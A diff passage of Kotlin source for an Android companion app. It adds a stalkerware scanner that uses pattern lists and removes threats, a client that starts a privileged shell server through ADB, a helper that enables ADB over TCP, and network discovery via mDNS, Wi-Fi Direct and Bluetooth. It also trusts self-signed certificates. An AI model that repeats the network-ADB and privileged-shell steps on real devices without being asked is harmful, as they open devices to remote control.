::scanDeviceAdmins, + "Accessibility" to ::scanAccessibility, + "Certificates" to ::scanCertificates, + "Network" to ::scanNetwork, + ) + + for ((name, scan) in scans) { + val result = scan() + results.add("=== $name ===") + results.add(result.output) + if (result.details.isNotEmpty()) { + threats += result.details.size + results.addAll(result.details) + } + } + + return ModuleResult( + success = true, + output = if (threats > 0) "$threats potential threat(s) found" else "No threats detected", + details = results + ) + } + + private fun scanPackages(): ModuleResult { + val result = PrivilegeManager.execute("pm list packages") + if (result.exitCode != 0) { + return ModuleResult(false, "Failed to list packages: ${result.stderr}") + } + + val packages = result.stdout.lines() + .filter { it.startsWith("package:") } + .map { it.removePrefix("package:") } + + val found = mutableListOf() + for (pkg in packages) { + val lower = pkg.lowercase() + for (pattern in stalkerwarePatterns) { + if (lower.contains(pattern)) { + found.add("[!] $pkg (matches: $pattern)") + break + } + } + } + + return ModuleResult( + success = true, + output = "Scanned ${packages.size} packages, ${found.size} suspicious", + details = found + ) + } + + private fun scanPermissions(): ModuleResult { + // Get packages with dangerous permissions + val result = PrivilegeManager.execute( + "pm list packages -f | head -500" + ) + if (result.exitCode != 0) { + return ModuleResult(false, "Failed: ${result.stderr}") + } + + val packages = result.stdout.lines() + .filter { it.startsWith("package:") } + .map { it.substringAfterLast("=") } + .take(200) // Limit for performance + + val suspicious = mutableListOf() + for (pkg in packages) { + val dump = PrivilegeManager.execute("dumpsys package $pkg 2>/dev/null | grep 'android.permission' | head -30") + if (dump.exitCode != 0) continue + + val perms = dump.stdout.lines().map { it.trim() } + val dangerousCount = perms.count { line -> + suspiciousPerms.any { perm -> line.contains(perm) } + } + + if (dangerousCount >= 5) { + suspicious.add("[!] $pkg has $dangerousCount suspicious permissions") + } + } + + return ModuleResult( + success = true, + output = "Checked permissions on ${packages.size} packages, ${suspicious.size} suspicious", + details = suspicious + ) + } + + private fun scanDeviceAdmins(): ModuleResult { + val result = PrivilegeManager.execute("dumpsys device_policy 2>/dev/null | grep -A 2 'Admin\\|DeviceAdminInfo'") + if (result.exitCode != 0 && result.stdout.isEmpty()) { + return ModuleResult(true, "No device admins found or could not query", emptyList()) + } + + val admins = result.stdout.lines().filter { it.isNotBlank() } + return ModuleResult( + success = true, + output = "${admins.size} device admin entries found", + details = admins.map { it.trim() } + ) + } + + private fun scanAccessibility(): ModuleResult { + val result = PrivilegeManager.execute("settings get secure enabled_accessibility_services") + val services = result.stdout.trim() + + return if (services.isNotEmpty() && services != "null") { + val list = services.split(":").filter { it.isNotBlank() } + ModuleResult( + success = true, + output = "${list.size} accessibility service(s) enabled", + details = list.map { "[!] $it" } + ) + } else { + ModuleResult(true, "No accessibility services enabled", emptyList()) + } + } + + private fun scanCertificates(): ModuleResult { + val result = PrivilegeManager.execute("ls /data/misc/user/0/cacerts-added/ 2>/dev/null") + + return if (result.exitCode == 0 && result.stdout.isNotBlank()) { + val certs = result.stdout.lines().filter { it.isNotBlank() } + ModuleResult( + success = true, + output = "${certs.size} user-installed CA certificate(s)", + details = certs.map { "[!] Certificate: $it" } + ) + } else { + ModuleResult(true, "No user-installed CA certificates", emptyList()) + } + } + + private fun scanNetwork(): ModuleResult { + val findings = mutableListOf() + + // Check HTTP proxy + val proxy = PrivilegeManager.execute("settings get global http_proxy").stdout.trim() + if (proxy.isNotEmpty() && proxy != "null" && proxy != ":0") { + findings.add("[!] HTTP proxy set: $proxy") + } + + // Check private DNS + val dnsMode = PrivilegeManager.execute("settings get global private_dns_mode").stdout.trim() + val dnsProvider = PrivilegeManager.execute("settings get global private_dns_specifier").stdout.trim() + if (dnsMode == "hostname" && dnsProvider.isNotEmpty() && dnsProvider != "null") { + findings.add("[i] Private DNS: $dnsProvider (mode: $dnsMode)") + } + + // Check VPN always-on + val vpn = PrivilegeManager.execute("settings get secure always_on_vpn_app").stdout.trim() + if (vpn.isNotEmpty() && vpn != "null") { + findings.add("[!] Always-on VPN: $vpn") + } + + // Check global proxy pac + val pac = PrivilegeManager.execute("settings get global global_http_proxy_pac").stdout.trim() + if (pac.isNotEmpty() && pac != "null") { + findings.add("[!] Proxy PAC configured: $pac") + } + + return ModuleResult( + success = true, + output = if (findings.isEmpty()) "Network settings clean" else "${findings.size} network finding(s)", + details = findings + ) + } + + // ── Remediation actions ───────────────────────────────────────── + + private fun disableApp(pkg: String): ModuleResult { + val result = PrivilegeManager.execute("pm disable-user --user 0 $pkg") + return ModuleResult( + success = result.exitCode == 0, + output = if (result.exitCode == 0) "Disabled: $pkg" else "Failed: ${result.stderr}" + ) + } + + private fun uninstallApp(pkg: String): ModuleResult { + val result = PrivilegeManager.execute("pm uninstall --user 0 $pkg") + return ModuleResult( + success = result.exitCode == 0, + output = if (result.exitCode == 0) "Uninstalled: $pkg" else "Failed: ${result.stderr}" + ) + } + + private fun revokePermissions(pkg: String): ModuleResult { + val revoked = mutableListOf() + for (perm in suspiciousPerms) { + val result = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null") + if (result.exitCode == 0) revoked.add(perm) + } + return ModuleResult( + success = true, + output = "Revoked ${revoked.size}/${suspiciousPerms.size} permissions from $pkg", + details = revoked.map { "Revoked: $it" } + ) + } + + private fun removeDeviceAdmin(component: String): ModuleResult { + val result = PrivilegeManager.execute("dpm remove-active-admin $component") + return ModuleResult( + success = result.exitCode == 0, + output = if (result.exitCode == 0) "Removed device admin: $component" else "Failed: ${result.stderr}" + ) + } + + private fun clearProxy(): ModuleResult { + val result = PrivilegeManager.execute("settings put global http_proxy :0") + return ModuleResult( + success = result.exitCode == 0, + output = if (result.exitCode == 0) "HTTP proxy cleared" else "Failed: ${result.stderr}" + ) + } + + private fun removeCertificate(hash: String): ModuleResult { + val result = PrivilegeManager.execute("rm /data/misc/user/0/cacerts-added/$hash") + return ModuleResult( + success = result.exitCode == 0, + output = if (result.exitCode == 0) "Certificate removed: $hash" else "Failed: ${result.stderr}" + ) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/server/ArchonClient.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/server/ArchonClient.kt new file mode 100644 index 0000000..3a9c03f --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/server/ArchonClient.kt @@ -0,0 +1,371 @@ +package com.darkhal.archon.server + +import android.content.Context +import android.util.Log +import com.darkhal.archon.service.LocalAdbClient +import com.darkhal.archon.util.AuthManager +import com.darkhal.archon.util.PrefsManager +import com.darkhal.archon.util.ShellResult +import java.io.BufferedReader +import java.io.InputStreamReader +import java.io.OutputStreamWriter +import java.io.PrintWriter +import java.net.InetSocketAddress +import java.net.Socket +import java.util.UUID +import java.util.concurrent.atomic.AtomicBoolean + +/** + * Client for the Archon privileged server process. + * + * Handles: + * - Bootstrapping the server via ADB (app_process command) + * - TCP socket communication with JSON protocol + * - Token-based authentication + * - Server lifecycle management + */ +object ArchonClient { + + private const val TAG = "ArchonClient" + private const val DEFAULT_PORT = 17321 + private const val PREFS_NAME = "archon_server" + private const val KEY_TOKEN = "server_token" + private const val KEY_PORT = "server_port" + private const val CONNECT_TIMEOUT = 3000 + private const val READ_TIMEOUT = 30000 + + private val serverRunning = AtomicBoolean(false) + private var serverPid: Int = -1 + + /** + * Check if the Archon server is running and responding. + */ + fun isServerRunning(context: Context): Boolean { + val token = getToken(context) ?: return false + val port = getPort(context) + return try { + val result = sendCommand(token, port, "__ping__") + val alive = result.exitCode == 0 && result.stdout == "pong" + serverRunning.set(alive) + alive + } catch (e: Exception) { + serverRunning.set(false) + false + } + } + + /** + * Get server info (UID, PID, uptime) if running. + */ + fun getServerInfo(context: Context): String? { + val token = getToken(context) ?: return null + val port = getPort(context) + return try { + val result = sendCommand(token, port, "__info__") + if (result.exitCode == 0) result.stdout else null + } catch (e: Exception) { + null + } + } + + /** + * Start the Archon server via ADB. + * + * Bootstrap flow: + * 1. Get APK path from context + * 2. Generate random auth token + * 3. Build app_process command + * 4. Execute via LocalAdbClient or AUTARCH server ADB + * 5. Wait for server to start + * 6. Verify connection + */ + /** + * Check if any ArchonServer is alive on the port (no auth needed). + */ + fun isServerAlive(): Boolean { + return try { + val result = sendCommand("", DEFAULT_PORT, "__alive__", 3) + result.exitCode == 0 && result.stdout == "alive" + } catch (e: Exception) { + false + } + } + + fun startServer(context: Context): StartResult { + // Check if a server is already running (possibly started from web UI) + if (isServerAlive()) { + Log.i(TAG, "Server already alive on port $DEFAULT_PORT") + // If we also have a valid token, verify full auth + if (isServerRunning(context)) { + val info = getServerInfo(context) ?: "running" + return StartResult(true, "Server already running: $info") + } + // Server alive but we don't have the right token + return StartResult(false, "Server running but token mismatch — stop it first (web UI or: adb shell pkill -f ArchonServer)") + } + + // Generate new token for this session + val token = UUID.randomUUID().toString().replace("-", "").take(32) + val port = DEFAULT_PORT + + // Save token and port + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.edit() + .putString(KEY_TOKEN, token) + .putInt(KEY_PORT, port) + .apply() + + // Get APK path + val apkPath = context.applicationInfo.sourceDir + if (apkPath.isNullOrEmpty()) { + return StartResult(false, "Could not determine APK path") + } + + // Build the bootstrap command (modeled after Shizuku's ServiceStarter pattern) + // TMPDIR is needed so dalvik-cache can be created by shell user + val bootstrapCmd = buildString { + append("TMPDIR=/data/local/tmp ") + append("CLASSPATH='$apkPath' ") + append("/system/bin/app_process /system/bin ") + append("com.darkhal.archon.server.ArchonServer ") + append("$token $port") + } + + // Wrap in nohup + background so it survives ADB disconnect + val fullCmd = "nohup sh -c \"$bootstrapCmd\" > /data/local/tmp/archon_server.log 2>&1 & echo started" + + Log.i(TAG, "Bootstrap command: $bootstrapCmd") + + // Try to execute — LocalAdbClient first, then AUTARCH server USB ADB + val adbResult = if (LocalAdbClient.isConnected()) { + Log.i(TAG, "Starting server via LocalAdbClient") + val r = LocalAdbClient.execute(fullCmd) + Log.i(TAG, "LocalAdb result: exit=${r.exitCode} stdout=${r.stdout.take(200)} stderr=${r.stderr.take(200)}") + r + } else { + Log.i(TAG, "LocalAdb not connected, trying AUTARCH server USB ADB") + val httpResult = startServerViaHttp(context, apkPath, token, port) + if (httpResult != null) { + Log.i(TAG, "HTTP bootstrap result: exit=${httpResult.exitCode} stdout=${httpResult.stdout.take(200)} stderr=${httpResult.stderr.take(200)}") + httpResult + } else { + Log.e(TAG, "Both ADB methods failed — no connection available") + return StartResult(false, "No ADB connection — connect phone via USB to AUTARCH, or use Wireless Debugging") + } + } + + if (adbResult.exitCode != 0 && !adbResult.stdout.contains("started")) { + Log.e(TAG, "Bootstrap command failed: exit=${adbResult.exitCode} stdout=${adbResult.stdout} stderr=${adbResult.stderr}") + return StartResult(false, "ADB command failed (exit ${adbResult.exitCode}): ${adbResult.stderr.ifEmpty { adbResult.stdout }}") + } + + // Wait for server to come up + Log.i(TAG, "Waiting for server to start...") + for (i in 1..10) { + Thread.sleep(500) + if (isServerRunning(context)) { + val info = getServerInfo(context) ?: "running" + Log.i(TAG, "Server started: $info") + return StartResult(true, "Server running: $info") + } + } + + return StartResult(false, "Server did not start within 5s — check /data/local/tmp/archon_server.log") + } + + /** + * Execute a shell command via the Archon server. + */ + fun execute(context: Context, command: String, timeoutSec: Int = 30): ShellResult { + val token = getToken(context) + ?: return ShellResult("", "No server token — start server first", -1) + val port = getPort(context) + + return try { + sendCommand(token, port, command, timeoutSec) + } catch (e: Exception) { + Log.e(TAG, "Execute failed", e) + serverRunning.set(false) + ShellResult("", "Server communication error: ${e.message}", -1) + } + } + + /** + * Stop the Archon server. + */ + fun stopServer(context: Context): Boolean { + val token = getToken(context) ?: return false + val port = getPort(context) + return try { + sendCommand(token, port, "__shutdown__") + serverRunning.set(false) + Log.i(TAG, "Server shutdown requested") + true + } catch (e: Exception) { + Log.e(TAG, "Stop failed", e) + false + } + } + + /** + * Generate the bootstrap command string (for display/manual use). + */ + fun getBootstrapCommand(context: Context): String { + val token = getToken(context) ?: "TOKEN" + val port = getPort(context) + val apkPath = context.applicationInfo.sourceDir ?: "/data/app/.../base.apk" + return "TMPDIR=/data/local/tmp CLASSPATH='$apkPath' /system/bin/app_process /system/bin " + + "com.darkhal.archon.server.ArchonServer $token $port" + } + + // ── Internal ──────────────────────────────────────────────────── + + private fun getToken(context: Context): String? { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.getString(KEY_TOKEN, null) + } + + private fun getPort(context: Context): Int { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.getInt(KEY_PORT, DEFAULT_PORT) + } + + private fun sendCommand(token: String, port: Int, cmd: String, timeoutSec: Int = 30): ShellResult { + val socket = Socket() + try { + socket.connect(InetSocketAddress("127.0.0.1", port), CONNECT_TIMEOUT) + socket.soTimeout = (timeoutSec + 5) * 1000 + + val writer = PrintWriter(OutputStreamWriter(socket.getOutputStream()), true) + val reader = BufferedReader(InputStreamReader(socket.getInputStream())) + + // Build JSON request + val request = """{"token":"${escapeJson(token)}","cmd":"${escapeJson(cmd)}","timeout":$timeoutSec}""" + writer.println(request) + + // Read JSON response + val response = reader.readLine() + ?: return ShellResult("", "No response from server", -1) + + return parseResponse(response) + } finally { + try { socket.close() } catch (e: Exception) { /* ignore */ } + } + } + + private fun parseResponse(json: String): ShellResult { + val stdout = extractJsonString(json, "stdout") ?: "" + val stderr = extractJsonString(json, "stderr") ?: "" + val exitCode = extractJsonInt(json, "exit_code", -1) + return ShellResult(stdout, stderr, exitCode) + } + + private fun extractJsonString(json: String, key: String): String? { + val search = "\"$key\"" + var idx = json.indexOf(search) + if (idx < 0) return null + + idx = json.indexOf(':', idx + search.length) + if (idx < 0) return null + idx++ + + while (idx < json.length && json[idx] == ' ') idx++ + if (idx >= json.length || json[idx] != '"') return null + idx++ + + val sb = StringBuilder() + while (idx < json.length) { + val c = json[idx] + if (c == '\\' && idx + 1 < json.length) { + when (json[idx + 1]) { + '"' -> sb.append('"') + '\\' -> sb.append('\\') + 'n' -> sb.append('\n') + 'r' -> sb.append('\r') + 't' -> sb.append('\t') + else -> sb.append(json[idx + 1]) + } + idx += 2 + } else if (c == '"') { + break + } else { + sb.append(c) + idx++ + } + } + return sb.toString() + } + + private fun extractJsonInt(json: String, key: String, default: Int): Int { + val search = "\"$key\"" + var idx = json.indexOf(search) + if (idx < 0) return default + + idx = json.indexOf(':', idx + search.length) + if (idx < 0) return default + idx++ + + while (idx < json.length && json[idx] == ' ') idx++ + + val sb = StringBuilder() + while (idx < json.length && (json[idx].isDigit() || json[idx] == '-')) { + sb.append(json[idx]) + idx++ + } + return sb.toString().toIntOrNull() ?: default + } + + /** + * Bootstrap ArchonServer via AUTARCH server's USB ADB connection. + * Uses the /hardware/archon/bootstrap endpoint which auto-discovers the device. + */ + private fun startServerViaHttp(context: Context, apkPath: String, token: String, port: Int): ShellResult? { + val serverIp = PrefsManager.getServerIp(context) + val serverPort = PrefsManager.getWebPort(context) + if (serverIp.isEmpty()) return null + + return try { + val url = java.net.URL("https://$serverIp:$serverPort/hardware/archon/bootstrap") + val conn = url.openConnection() as java.net.HttpURLConnection + com.darkhal.archon.util.SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 5000 + conn.readTimeout = 15000 + conn.requestMethod = "POST" + conn.setRequestProperty("Content-Type", "application/json") + conn.doOutput = true + + val payload = """{"apk_path":"${escapeJson(apkPath)}","token":"${escapeJson(token)}","port":$port}""" + Log.i(TAG, "Bootstrap via HTTP: $serverIp:$serverPort") + conn.outputStream.write(payload.toByteArray()) + + val code = conn.responseCode + val body = if (code in 200..299) { + conn.inputStream.bufferedReader().readText() + } else { + conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code" + } + conn.disconnect() + + Log.i(TAG, "Bootstrap HTTP response: $code - $body") + + if (code in 200..299) { + val stdout = extractJsonString(body, "stdout") ?: body + val stderr = extractJsonString(body, "stderr") ?: "" + val exitCode = extractJsonInt(body, "exit_code", 0) + ShellResult(stdout, stderr, exitCode) + } else { + Log.w(TAG, "Bootstrap returned HTTP $code: $body") + null + } + } catch (e: Exception) { + Log.w(TAG, "Bootstrap failed: ${e.message}") + null + } + } + + private fun escapeJson(s: String): String { + return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n") + } + + data class StartResult(val success: Boolean, val message: String) +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/AdbManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/AdbManager.kt new file mode 100644 index 0000000..a8ffd0a --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/AdbManager.kt @@ -0,0 +1,77 @@ +package com.darkhal.archon.service + +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellExecutor +import com.darkhal.archon.util.ShellResult + +object AdbManager { + + private const val ADBD_PROCESS = "adbd" + + /** + * Enable ADB over TCP/IP on the specified port. + * Uses the best available privilege method. + */ + fun enableTcpMode(port: Int = 5555): ShellResult { + return PrivilegeManager.execute( + "setprop service.adb.tcp.port $port && stop adbd && start adbd" + ) + } + + /** + * Disable ADB TCP/IP mode, reverting to USB-only. + */ + fun disableTcpMode(): ShellResult { + return PrivilegeManager.execute( + "setprop service.adb.tcp.port -1 && stop adbd && start adbd" + ) + } + + /** + * Kill the ADB daemon. + */ + fun killServer(): ShellResult { + return PrivilegeManager.execute("stop adbd") + } + + /** + * Restart the ADB daemon (stop then start). + */ + fun restartServer(): ShellResult { + return PrivilegeManager.execute("stop adbd && start adbd") + } + + /** + * Check if the ADB daemon process is currently running. + */ + fun isRunning(): Boolean { + val result = ShellExecutor.execute("pidof $ADBD_PROCESS") + return result.exitCode == 0 && result.stdout.isNotEmpty() + } + + /** + * Get the current ADB mode: "tcp" with port number, or "usb". + */ + fun getMode(): String { + val result = ShellExecutor.execute("getprop service.adb.tcp.port") + val port = result.stdout.trim() + return if (port.isNotEmpty() && port != "-1" && port != "0") { + "tcp:$port" + } else { + "usb" + } + } + + /** + * Get a combined status map for display. + */ + fun getStatus(): Map { + val running = isRunning() + val mode = getMode() + return mapOf( + "running" to running, + "mode" to mode, + "tcp_enabled" to mode.startsWith("tcp") + ) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/DiscoveryManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/DiscoveryManager.kt new file mode 100644 index 0000000..05338a2 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/DiscoveryManager.kt @@ -0,0 +1,416 @@ +package com.darkhal.archon.service + +import android.bluetooth.BluetoothAdapter +import android.bluetooth.BluetoothDevice +import android.bluetooth.BluetoothManager +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import android.content.IntentFilter +import android.net.nsd.NsdManager +import android.net.nsd.NsdServiceInfo +import android.net.wifi.WifiManager +import android.net.wifi.p2p.WifiP2pConfig +import android.net.wifi.p2p.WifiP2pDevice +import android.net.wifi.p2p.WifiP2pDeviceList +import android.net.wifi.p2p.WifiP2pInfo +import android.net.wifi.p2p.WifiP2pManager +import android.os.Handler +import android.os.Looper +import android.util.Log + +/** + * Discovers AUTARCH servers on the network using three methods (priority order): + * + * 1. **mDNS/NSD** — discovers _autarch._tcp.local. on LAN (fastest, most reliable) + * 2. **Wi-Fi Direct** — discovers AUTARCH peers when no shared LAN exists + * 3. **Bluetooth** — discovers AUTARCH BT advertisement (fallback, requires BT enabled + paired) + * + * Usage: + * val discovery = DiscoveryManager(context) + * discovery.listener = object : DiscoveryManager.Listener { ... } + * discovery.startDiscovery() + * // ... later ... + * discovery.stopDiscovery() + */ +class DiscoveryManager(private val context: Context) { + + companion object { + private const val TAG = "ArchonDiscovery" + private const val MDNS_SERVICE_TYPE = "_autarch._tcp." + private const val BT_TARGET_NAME = "AUTARCH" + private const val WIFIDIRECT_TARGET_NAME = "AUTARCH" + private const val DISCOVERY_TIMEOUT_MS = 15000L + } + + // ── Result Data ───────────────────────────────────────────────── + + data class DiscoveredServer( + val ip: String, + val port: Int, + val hostname: String, + val method: ConnectionMethod, + val extras: Map = emptyMap() + ) + + enum class ConnectionMethod { + MDNS, // Found via mDNS on local network + WIFI_DIRECT, // Found via Wi-Fi Direct + BLUETOOTH // Found via Bluetooth + } + + // ── Listener ──────────────────────────────────────────────────── + + interface Listener { + fun onServerFound(server: DiscoveredServer) + fun onDiscoveryStarted(method: ConnectionMethod) + fun onDiscoveryStopped(method: ConnectionMethod) + fun onDiscoveryError(method: ConnectionMethod, error: String) + } + + var listener: Listener? = null + private val handler = Handler(Looper.getMainLooper()) + + // ── State ─────────────────────────────────────────────────────── + + private var mdnsRunning = false + private var wifiDirectRunning = false + private var bluetoothRunning = false + + private var nsdManager: NsdManager? = null + private var discoveryListener: NsdManager.DiscoveryListener? = null + private var wifiP2pManager: WifiP2pManager? = null + private var wifiP2pChannel: WifiP2pManager.Channel? = null + private var bluetoothAdapter: BluetoothAdapter? = null + + private val discoveredServers = mutableListOf() + + // ── Public API ────────────────────────────────────────────────── + + /** + * Start all available discovery methods in priority order. + * Results arrive via the [Listener] callback. + */ + fun startDiscovery() { + discoveredServers.clear() + startMdnsDiscovery() + startWifiDirectDiscovery() + startBluetoothDiscovery() + + // Auto-stop after timeout + handler.postDelayed({ stopDiscovery() }, DISCOVERY_TIMEOUT_MS) + } + + /** + * Stop all discovery methods. + */ + fun stopDiscovery() { + stopMdnsDiscovery() + stopWifiDirectDiscovery() + stopBluetoothDiscovery() + } + + /** + * Get all servers found so far. + */ + fun getDiscoveredServers(): List { + return discoveredServers.toList() + } + + /** + * Get the best server (highest priority method). + */ + fun getBestServer(): DiscoveredServer? { + return discoveredServers.minByOrNull { it.method.ordinal } + } + + // ── mDNS / NSD ───────────────────────────────────────────────── + + private fun startMdnsDiscovery() { + if (mdnsRunning) return + + try { + nsdManager = context.getSystemService(Context.NSD_SERVICE) as? NsdManager + if (nsdManager == null) { + notifyError(ConnectionMethod.MDNS, "NSD service not available") + return + } + + discoveryListener = object : NsdManager.DiscoveryListener { + override fun onDiscoveryStarted(serviceType: String) { + Log.d(TAG, "mDNS discovery started") + mdnsRunning = true + handler.post { listener?.onDiscoveryStarted(ConnectionMethod.MDNS) } + } + + override fun onServiceFound(serviceInfo: NsdServiceInfo) { + Log.d(TAG, "mDNS service found: ${serviceInfo.serviceName}") + // Resolve to get IP and port + nsdManager?.resolveService(serviceInfo, object : NsdManager.ResolveListener { + override fun onResolveFailed(info: NsdServiceInfo, errorCode: Int) { + Log.w(TAG, "mDNS resolve failed: $errorCode") + } + + override fun onServiceResolved(info: NsdServiceInfo) { + val host = info.host?.hostAddress ?: return + val port = info.port + val hostname = info.attributes["hostname"] + ?.let { String(it) } ?: info.serviceName + + val server = DiscoveredServer( + ip = host, + port = port, + hostname = hostname, + method = ConnectionMethod.MDNS, + extras = info.attributes.mapValues { String(it.value ?: byteArrayOf()) } + ) + discoveredServers.add(server) + handler.post { listener?.onServerFound(server) } + Log.i(TAG, "mDNS: found AUTARCH at $host:$port") + } + }) + } + + override fun onServiceLost(serviceInfo: NsdServiceInfo) { + Log.d(TAG, "mDNS service lost: ${serviceInfo.serviceName}") + } + + override fun onDiscoveryStopped(serviceType: String) { + mdnsRunning = false + handler.post { listener?.onDiscoveryStopped(ConnectionMethod.MDNS) } + } + + override fun onStartDiscoveryFailed(serviceType: String, errorCode: Int) { + mdnsRunning = false + notifyError(ConnectionMethod.MDNS, "Start failed (code $errorCode)") + } + + override fun onStopDiscoveryFailed(serviceType: String, errorCode: Int) { + Log.w(TAG, "mDNS stop failed: $errorCode") + } + } + + nsdManager?.discoverServices(MDNS_SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD, discoveryListener) + + } catch (e: Exception) { + notifyError(ConnectionMethod.MDNS, e.message ?: "Unknown error") + } + } + + private fun stopMdnsDiscovery() { + if (!mdnsRunning) return + try { + discoveryListener?.let { nsdManager?.stopServiceDiscovery(it) } + } catch (e: Exception) { + Log.w(TAG, "mDNS stop error: ${e.message}") + } + mdnsRunning = false + } + + // ── Wi-Fi Direct ──────────────────────────────────────────────── + + private val wifiP2pReceiver = object : BroadcastReceiver() { + override fun onReceive(ctx: Context, intent: Intent) { + when (intent.action) { + WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION -> { + // Peers list changed, request updated list + wifiP2pManager?.requestPeers(wifiP2pChannel) { peers -> + handleWifiDirectPeers(peers) + } + } + WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION -> { + wifiP2pManager?.requestConnectionInfo(wifiP2pChannel) { info -> + handleWifiDirectConnection(info) + } + } + } + } + } + + private fun startWifiDirectDiscovery() { + if (wifiDirectRunning) return + + try { + wifiP2pManager = context.getSystemService(Context.WIFI_P2P_SERVICE) as? WifiP2pManager + if (wifiP2pManager == null) { + notifyError(ConnectionMethod.WIFI_DIRECT, "Wi-Fi Direct not available") + return + } + + wifiP2pChannel = wifiP2pManager?.initialize(context, Looper.getMainLooper(), null) + + // Register receiver for Wi-Fi Direct events + val intentFilter = IntentFilter().apply { + addAction(WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION) + addAction(WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION) + addAction(WifiP2pManager.WIFI_P2P_STATE_CHANGED_ACTION) + } + context.registerReceiver(wifiP2pReceiver, intentFilter) + + wifiP2pManager?.discoverPeers(wifiP2pChannel, object : WifiP2pManager.ActionListener { + override fun onSuccess() { + wifiDirectRunning = true + handler.post { listener?.onDiscoveryStarted(ConnectionMethod.WIFI_DIRECT) } + Log.d(TAG, "Wi-Fi Direct discovery started") + } + + override fun onFailure(reason: Int) { + val msg = when (reason) { + WifiP2pManager.P2P_UNSUPPORTED -> "P2P unsupported" + WifiP2pManager.BUSY -> "System busy" + WifiP2pManager.ERROR -> "Internal error" + else -> "Unknown error ($reason)" + } + notifyError(ConnectionMethod.WIFI_DIRECT, msg) + } + }) + + } catch (e: Exception) { + notifyError(ConnectionMethod.WIFI_DIRECT, e.message ?: "Unknown error") + } + } + + private fun handleWifiDirectPeers(peers: WifiP2pDeviceList) { + for (device in peers.deviceList) { + if (device.deviceName.contains(WIFIDIRECT_TARGET_NAME, ignoreCase = true)) { + Log.i(TAG, "Wi-Fi Direct: found AUTARCH peer: ${device.deviceName} (${device.deviceAddress})") + // Found an AUTARCH device — connect to get IP + connectWifiDirect(device) + } + } + } + + private fun connectWifiDirect(device: WifiP2pDevice) { + val config = WifiP2pConfig().apply { + deviceAddress = device.deviceAddress + } + wifiP2pManager?.connect(wifiP2pChannel, config, object : WifiP2pManager.ActionListener { + override fun onSuccess() { + Log.d(TAG, "Wi-Fi Direct: connecting to ${device.deviceName}") + } + + override fun onFailure(reason: Int) { + Log.w(TAG, "Wi-Fi Direct: connect failed ($reason)") + } + }) + } + + private fun handleWifiDirectConnection(info: WifiP2pInfo) { + if (info.groupFormed) { + val ownerAddress = info.groupOwnerAddress?.hostAddress ?: return + // The group owner is the AUTARCH server + val server = DiscoveredServer( + ip = ownerAddress, + port = 8181, // Default — will be refined via mDNS or API call + hostname = "AUTARCH (Wi-Fi Direct)", + method = ConnectionMethod.WIFI_DIRECT + ) + discoveredServers.add(server) + handler.post { listener?.onServerFound(server) } + Log.i(TAG, "Wi-Fi Direct: AUTARCH at $ownerAddress") + } + } + + private fun stopWifiDirectDiscovery() { + if (!wifiDirectRunning) return + try { + wifiP2pManager?.stopPeerDiscovery(wifiP2pChannel, null) + context.unregisterReceiver(wifiP2pReceiver) + } catch (e: Exception) { + Log.w(TAG, "Wi-Fi Direct stop error: ${e.message}") + } + wifiDirectRunning = false + } + + // ── Bluetooth ─────────────────────────────────────────────────── + + private val btReceiver = object : BroadcastReceiver() { + override fun onReceive(ctx: Context, intent: Intent) { + when (intent.action) { + BluetoothDevice.ACTION_FOUND -> { + val device = intent.getParcelableExtra( + BluetoothDevice.EXTRA_DEVICE + ) ?: return + + val name = try { device.name } catch (e: SecurityException) { null } + if (name != null && name.contains(BT_TARGET_NAME, ignoreCase = true)) { + Log.i(TAG, "Bluetooth: found AUTARCH device: $name (${device.address})") + + val server = DiscoveredServer( + ip = "", // BT doesn't give IP directly — use for pairing flow + port = 0, + hostname = name, + method = ConnectionMethod.BLUETOOTH, + extras = mapOf( + "bt_address" to device.address, + "bt_name" to name + ) + ) + discoveredServers.add(server) + handler.post { listener?.onServerFound(server) } + } + } + BluetoothAdapter.ACTION_DISCOVERY_FINISHED -> { + bluetoothRunning = false + handler.post { listener?.onDiscoveryStopped(ConnectionMethod.BLUETOOTH) } + } + } + } + } + + private fun startBluetoothDiscovery() { + if (bluetoothRunning) return + + try { + val btManager = context.getSystemService(Context.BLUETOOTH_SERVICE) as? BluetoothManager + bluetoothAdapter = btManager?.adapter + + if (bluetoothAdapter == null || bluetoothAdapter?.isEnabled != true) { + notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth not available or disabled") + return + } + + val intentFilter = IntentFilter().apply { + addAction(BluetoothDevice.ACTION_FOUND) + addAction(BluetoothAdapter.ACTION_DISCOVERY_FINISHED) + } + context.registerReceiver(btReceiver, intentFilter) + + val started = try { + bluetoothAdapter?.startDiscovery() == true + } catch (e: SecurityException) { + notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth permission denied") + return + } + + if (started) { + bluetoothRunning = true + handler.post { listener?.onDiscoveryStarted(ConnectionMethod.BLUETOOTH) } + Log.d(TAG, "Bluetooth discovery started") + } else { + notifyError(ConnectionMethod.BLUETOOTH, "Failed to start BT discovery") + } + + } catch (e: Exception) { + notifyError(ConnectionMethod.BLUETOOTH, e.message ?: "Unknown error") + } + } + + private fun stopBluetoothDiscovery() { + if (!bluetoothRunning) 